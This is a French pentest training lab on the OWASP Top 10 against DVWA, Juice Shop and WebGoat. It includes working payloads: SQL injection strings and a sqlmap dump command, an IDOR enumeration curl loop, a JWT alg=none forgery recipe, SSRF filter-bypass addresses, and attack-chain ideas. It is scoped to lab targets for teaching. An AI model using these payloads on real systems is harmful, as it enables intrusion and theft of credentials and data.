Aller au contenu principal

OWASP Top 10 — Atelier pratique

Vous prenez DVWA, Juice Shop et WebGoat, tous les trois lancés d'un seul docker compose. Vous tombez trois vulnérabilités de trois catégories différentes du Top 10. Pour chacune : requête, réponse, preuve d'impact. Bonus : une chaîne qui enchaîne au moins deux d'entre elles.

Compter : 3 h.

Livrable : ~/labs/rapport/owasp.md avec trois fiches complètes + ~/labs/preuves/ avec tous les artefacts.

Cadre

Ces attaques s'exécutent exclusivement contre DVWA, Juice Shop, WebGoat ou une cible sous rules of engagement explicite. Aucun tir vers l'extérieur. Ce n'est pas négociable.


Prérequis​

Docker Desktop opérationnel (voir module 01). Aucun autre téléchargement : le compose se charge de tout.

Burp Suite Community installé sur votre hôte (téléchargement libre : portswigger.net). Le proxy hôte intercepte les requêtes de votre navigateur vers les conteneurs, exactement comme dans la vraie vie.

Firefox est recommandé : plus tolérant avec un CA personnalisé que Chrome/Edge.


Étape 1 — Démarrer le lab (3 min)​

cd labs/docker/module-07-owasp
docker compose up -d

Quatre conteneurs démarrent. Compter environ 60 secondes pour que WebGoat (Spring, lourd) soit prêt.

Vérifier santé :

cd ..
./verifier-lab.sh module-07-owasp # bash / macOS / Linux / WSL
.\verifier-lab.ps1 module-07-owasp # PowerShell

Ouvrir les trois cibles dans votre navigateur (via l'hôte, ports publiés) :

Un dossier de preuves côté attaquant :

docker compose exec attaquant bash
mkdir -p ~/labs/{preuves,rapport}
cd ~/labs
Définition — pourquoi trois cibles et pas juste Juice Shop ou DVWA

Chaque cible représente une époque et une stack différente du développement web, et chacune expose une famille de failles que les deux autres ne montrent pas aussi bien.

DVWA (Damn Vulnerable Web Application) est écrit en PHP dans le style des années 2005-2010 : mysql_query, cookies simples, aucun framework. C'est le meilleur terrain pour comprendre les failles fondamentales — SQL injection classique, XSS reflétée, file inclusion, upload sans filtrage. Vous voyez le code source, vous voyez le patch. La difficulté est réglable (Low/Medium/High/Impossible), ce qui rend l'apprentissage progressif.

Juice Shop est écrit en Node.js/Angular, l'archétype de l'application web moderne : API REST, JWT, SPA, backend Express, base SQLite. Les failles sont celles qu'on trouve en 2026 dans les startups — IDOR sur /api/basket, XSS stockées via l'API, JWT mal signé, injection NoSQL, contrôle d'accès horizontal cassé. C'est aussi ludique : le score-board tient à jour vos défis résolus.

WebGoat est écrit en Java/Spring, la stack la plus courante dans les grandes entreprises. Il propose des scénarios pédagogiques encadrés : chaque leçon décrit le problème, fournit le contexte de code, et valide votre exploitation. On y approfondit les catégories moins visibles — chiffrement mal fait (A02), authentification cassée (A07), désérialisation dangereuse, contrôle d'accès sur des API JSON.

Ensemble, les trois cibles couvrent la totalité des dix catégories de l'OWASP Top 10 2021. C'est pour cela qu'on les lance toutes en même temps : vous choisissez la meilleure application pour chaque exercice, plutôt que de tordre un lab pour l'obliger à exposer une faille qu'il ne connaît pas.


Étape 2 — Configurer Burp (5 min)​

Sur votre hôte :

  1. Lancer Burp Suite Community, choisir Temporary project, Use Burp defaults.
  2. Onglet Proxy → Options, vérifier que Burp écoute sur 127.0.0.1:8080.
  3. Dans Firefox : Preferences → Network Settings → Manual proxy configuration :
    • HTTP Proxy : 127.0.0.1, Port : 8080
    • Cocher Also use this proxy for HTTPS
  4. Ouvrir http://burpsuite dans Firefox, télécharger et importer le certificat CA (via Settings → Certificates → View certificates → Import).

Test rapide : dans Proxy → Intercept, activer l'interception. Recharger http://localhost:4280 dans Firefox. Burp intercepte, vous cliquez Forward, la page s'affiche.

Définition — le rôle du proxy et pourquoi Burp est incontournable

Un proxy HTTP se place entre votre navigateur et le serveur. Chaque requête que Firefox émet passe d'abord par Burp, qui vous la montre, vous laisse la modifier, puis la relaie. Chaque réponse fait le trajet inverse. Vous avez un accès complet à ce qui se passe sur le fil, y compris les en-têtes HTTP, les cookies, les corps de requête/réponse.

Sans ce niveau de contrôle, une bonne moitié des failles web est invisible. L'IDOR sur /api/basket/2 demande de rejouer une requête en changeant un chiffre. La SQL injection demande d'observer le message d'erreur exact que renvoie le serveur. Le contrôle d'accès demande de bidouiller un cookie. Aucun de ces gestes n'est faisable depuis un navigateur normal — mais tous sont triviaux depuis Burp.

Burp Suite Community est gratuit et suffit pour cet atelier. La version Pro ajoute un scanner automatique (Active Scan) et Intruder à cadence libre, indispensables en mission professionnelle. Le raisonnement, lui, est identique dans les deux versions. Prenez l'habitude en Community : vous serez à l'aise en Pro dès le premier jour.


Étape 3 — Choisir 3 catégories (10 min)​

Vous devez couvrir 3 catégories différentes parmi ces six (les plus formatrices) :

CatégorieTerrain recommandéNotes
A01 — Contrôle d'accès (IDOR ou vertical)Juice Shop /api/basket/*IDOR pur, très visible en Burp.
A03 — Injection SQLDVWA SQL InjectionClassique avec sqlmap, difficulté progressive.
A03 — XSS stockéeJuice Shop Customer FeedbackPreuve d'impact via redirect ou keylogger.
A05 — Mauvaise configurationDVWA (headers, dir listing)Trouver /config/config.inc.php.
A07 — Identification/authentificationJuice Shop /rest/user/login JWTJWT alg=none ou clé faible.
A10 — SSRF / LFIWebGoat Server-Side Request ForgeryScénario guidé, callback via WebWolf.

Notez votre choix en tête de rapport/owasp.md, avec une phrase de justification par catégorie. La justification est ce qui montre que vous pensez votre attaque, pas juste que vous tombez sur ce qui traîne.


Étape 4 — Attaquer, catégorie 1 (60 min)​

Prenons un exemple concret : A03 — SQL injection sur DVWA.

  1. Ouvrir http://localhost:4280, se connecter, régler Security = Low.
  2. Ouvrir SQL Injection dans le menu.
  3. Dans la barre User ID:, envoyer 1. Observer la réponse : nom + surnom.
  4. Envoyer 1' OR '1'='1. Toute la table apparaît — signature d'une SQLi.

Dans Burp, envoyer la requête à Repeater (Ctrl+R), puis à Intruder pour tester plusieurs payloads. En parallèle, depuis l'attaquant Kali :

docker compose exec attaquant bash
sqlmap -u "http://dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" \
--cookie="security=low; PHPSESSID=$COOKIE_DVWA" \
--batch --dump -D dvwa -T users

Récupérer le cookie PHPSESSID dans les DevTools de Firefox. Sqlmap identifie automatiquement l'injection, dumpe la table dvwa.users, casse les hashs MD5 des mots de passe.

Preuve d'impact : le contenu de dvwa.users (5 comptes), le mot de passe admin en clair (« password »), et un screenshot de la commande sqlmap qui termine par [INFO] the back-end DBMS is MySQL.

Sauvegardez la trace :

sqlmap -u "http://dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" \
--cookie="security=low; PHPSESSID=$COOKIE_DVWA" \
--batch --dump -D dvwa -T users --output-dir=preuves/sqli

Puis, dans rapport/owasp.md, remplir la fiche :

## Vulnérabilité — A03 : Injection SQL dans DVWA /vulnerabilities/sqli

### Contexte
- URL : http://dvwa/vulnerabilities/sqli/?id=1
- Rôle : utilisateur connecté (n'importe lequel)
- Difficulté DVWA : Low

### POC (preuve technique)
- Requête envoyée :
```http
GET /vulnerabilities/sqli/?id=1' OR '1'='1&Submit=Submit HTTP/1.1
Host: dvwa
Cookie: security=low; PHPSESSID=xxxx
```
- Réponse (extrait) : cinq lignes retournées au lieu d'une, prouvant que le paramètre `id` est concaténé dans une clause `WHERE` sans échappement.

### Preuve d'impact
- Payload sqlmap : dump complet de `dvwa.users`
- Résultat : 5 comptes récupérés, dont `admin` en clair (`password`), `gordonb` (`abc123`), `1337` (`charley`).
- Artefacts : `preuves/sqli/dump/dvwa/users.csv`, `preuves/sqli/log`

### Recommandation
- Immédiat : passer les paramètres par des requêtes préparées (`mysqli::prepare`).
- Fond : audit statique du code PHP, ajout d'un WAF applicatif, formation des développeurs.

Chaque section est obligatoire. Sans preuve d'impact, la fiche ne vaut rien.


Étape 5 — Catégorie 2 (60 min)​

Même exigence, catégorie différente. Exemple : A01 — IDOR sur Juice Shop.

  1. S'inscrire sur http://localhost:3000/#/register (user1@juice.local / Pentest1!).
  2. Se connecter, ajouter un article au panier.
  3. Ouvrir Burp HTTP history, retrouver la requête GET /rest/basket/6 (l'ID varie selon votre user).
  4. Rejouer via Repeater en changeant /rest/basket/6 → /rest/basket/1. Vous obtenez le panier de l'admin.

Preuve d'impact : le contenu JSON du panier 1 (probablement plusieurs articles chers), et surtout le fait qu'aucune vérification n'est faite entre le token JWT du user1 et l'utilisateur propriétaire du panier 1.

Automatiser côté attaquant :

for i in 1 2 3 4 5 6 7 8 9 10; do
curl -s "http://juice-shop:3000/rest/basket/$i" \
-H "Authorization: Bearer $JWT" \
| jq . > preuves/idor/basket-$i.json
done

Vous récupérez dix paniers de dix utilisateurs différents en trois secondes. C'est la définition d'un IDOR chaînable.


Étape 6 — Catégorie 3 (60 min)​

Encore différente. Exemple : A07 — JWT alg=none sur Juice Shop.

  1. Récupérer votre JWT actuel via Burp (dans l'en-tête Authorization).
  2. Le décoder sur https://jwt.io/#debugger-io. Header {"alg":"HS256"}, payload avec votre email.
  3. Modifier le header en {"alg":"none"}, remplacer l'email du payload par admin@juice-sh.op, retirer la signature (juste header.payload.).
  4. Rejouer via Burp en injectant ce token modifié.

Sur les versions vulnérables de Juice Shop, ça marche : vous êtes admin. Sur les versions patchées, ça échoue — documenter l'échec est aussi une preuve.

Preuve d'impact : screenshot de l'interface admin (/#/administration), ou du refus explicite avec la trace complète pour votre rapport.

Définition — JWT et le piège de alg=none

Un JSON Web Token (JWT) est une chaîne compacte de trois parties séparées par des points : un header JSON, un payload JSON, et une signature. La signature garantit que personne n'a modifié le contenu — elle est calculée par le serveur avec une clé secrète, et vérifiée à chaque requête.

Le header contient un champ alg qui indique l'algorithme de signature attendu : HS256, RS256, ES384… La spécification originale prévoyait aussi la valeur none, censée être utilisée uniquement dans des contextes où la signature est inutile (déjà chiffrée par un canal supérieur). En pratique, plusieurs bibliothèques ont implémenté la vérification de signature en faisant confiance au champ alg du header — si le client dit alg=none, la lib ne vérifie rien.

Résultat : n'importe qui peut forger un token en modifiant le payload, en écrivant alg=none dans le header, et en supprimant la signature. Le serveur accepte le token comme valide et vous authentifie sous n'importe quelle identité.

La faille est connue depuis 2015 et corrigée dans toutes les bibliothèques modernes, mais elle traîne encore dans des applications héritées ou des configurations custom. C'est aussi le meilleur exemple pour illustrer le principe « ne jamais faire confiance à la partie cliente pour dire ce qu'elle est ». Le serveur doit imposer l'algorithme, ignorer complètement le header alg du token entrant, et n'utiliser que sa configuration interne pour vérifier.


Étape 7 — La chaîne (30 min)​

Une chaîne minimum, qui combine deux vulnérabilités que vous avez trouvées, produisant un impact supérieur à la somme des parties.

Exemples de chaînes solides :

  • XSS stockée → vol de cookie de session admin → prise de contrôle admin (Juice Shop Customer Feedback + Juice Shop admin panel)
  • IDOR → énumération de tous les emails → password spraying → compromission de 10 comptes (Juice Shop /api/users + /rest/user/login)
  • SQLi → dump du fichier de config → clé JWT → forge de token admin (DVWA + Juice Shop, en réutilisant la clé si vous la récupérez)
  • LFI → lecture de /etc/passwd puis /proc/self/environ → récupération d'un secret d'application → forge JWT
  • SSRF → lecture des credentials AWS via metadata → prise cloud (scénario WebGoat + rappels module 11)

Documentez la chaîne dans rapport/chaine.md :

# Chaîne d'attaque — <titre court>

## Étape 1 — <faille A>
Description brève, cite l'artefact utilisé.

## Étape 2 — <faille B>
Idem.

## Étape 3 — <exploitation combinée>
Comment la sortie de A a servi d'entrée à B.

## Impact combiné
Une phrase forte, quantifiée si possible ("compromission de 10 comptes utilisateur en 3 minutes").

## Pourquoi c'est plus grave que la somme des parties
Une phrase : ce que chacune isolée ne permettrait pas.

C'est la partie la plus valorisée en entretien technique : montrer qu'on sait enchaîner.


Étape 8 — Tableau de synthèse (15 min)​

Ajouter au rapport un tableau récapitulatif :

| Catégorie | Titre | Sévérité | Preuve | Chaînable |
| --- | --- | --- | --- | --- |
| A03 | SQLi dans DVWA /vulnerabilities/sqli | Critique | preuves/sqli/ | Oui, avec A07 |
| A01 | IDOR sur /rest/basket (Juice Shop) | Haute | preuves/idor/ | Oui, avec A03 |
| A07 | JWT alg=none (Juice Shop) | Critique | preuves/jwt/ | Oui, avec A01 |

Grille d'auto-évaluation​

  • Trois catégories différentes couvertes.
  • Chaque fiche : contexte + POC + preuve d'impact + recommandation.
  • Toutes les requêtes/réponses exportées depuis Burp dans preuves/.
  • Aucune fiche ne se limite à un alert(1) ou à un id=1'--.
  • Une chaîne documentée dans chaine.md avec au moins deux failles.
  • Tableau de synthèse complet.
  • Aucune extraction massive de données (respect du RoE d'atelier).
  • Toutes les attaques sur des cibles autorisées — DVWA, Juice Shop, WebGoat uniquement.

Extension optionnelle — Écrire un template Nuclei​

Prenez la vulnérabilité la plus simple que vous avez trouvée. Écrivez un template Nuclei YAML qui la détecte :

id: juice-shop-idor-basket
info:
name: Juice Shop - IDOR on /rest/basket
author: <vous>
severity: high

http:
- method: GET
path:
- '{{BaseURL}}/rest/basket/1'
headers:
Authorization: "Bearer {{token}}"
matchers:
- type: word
words:
- '"UserId":1'

Testez depuis le conteneur attaquant :

nuclei -u http://juice-shop:3000 -t votre-template.yaml

Un template Nuclei fonctionnel, c'est l'équivalent d'un billet de blog — c'est ce qu'on met dans un portfolio.


Ce qui bloque en général​

SymptômeCauseCorrection
Burp ne voit rienProxy non configuré ou HTTPS non interceptéVérifier 127.0.0.1:8080, importer le CA via http://burpsuite.
sqlmap dit not injectablePoint d'injection mauvaisPréciser -p id, ajuster --level=3 --risk=2.
XSS payload filtréDifficulté trop hauteRevenir à Low sur DVWA pour comprendre, remonter ensuite.
JWT alg=none refuséVersion patchéeDocumenter comme échec pédagogique — c'est aussi une preuve.
SSRF ne renvoie rienApp filtre les IPs privéesTester 127.0.0.1, puis localhost, puis [::1], puis 2130706433 (décimal).
WebGoat perd la progressionSession expiréeSe reconnecter, rejouer.
DVWA "Database error"Base pas initialiséesetup.php → Create/Reset Database.
docker compose exec attaquant échoueConteneur pas démarrédocker compose ps, docker compose up -d attaquant.

Ce que vous emportez de cet atelier​

  • Trois vulnérabilités effectivement exploitées, avec preuves.
  • Une chaîne qui montre votre mode de pensée.
  • Un rapport structuré comme celui d'un pentest client.
  • La capacité de reproduire ces attaques en entretien technique, avec Docker Desktop pour seule dépendance.
  • Une exposition à trois stacks web différentes (PHP legacy, Node moderne, Java Spring) — les trois univers que vous croiserez en carrière.

Prochaine étape : le quiz du module. Après quoi on entre dans le module 8 — Metasploit — où l'on automatise et l'on chaîne à grande échelle.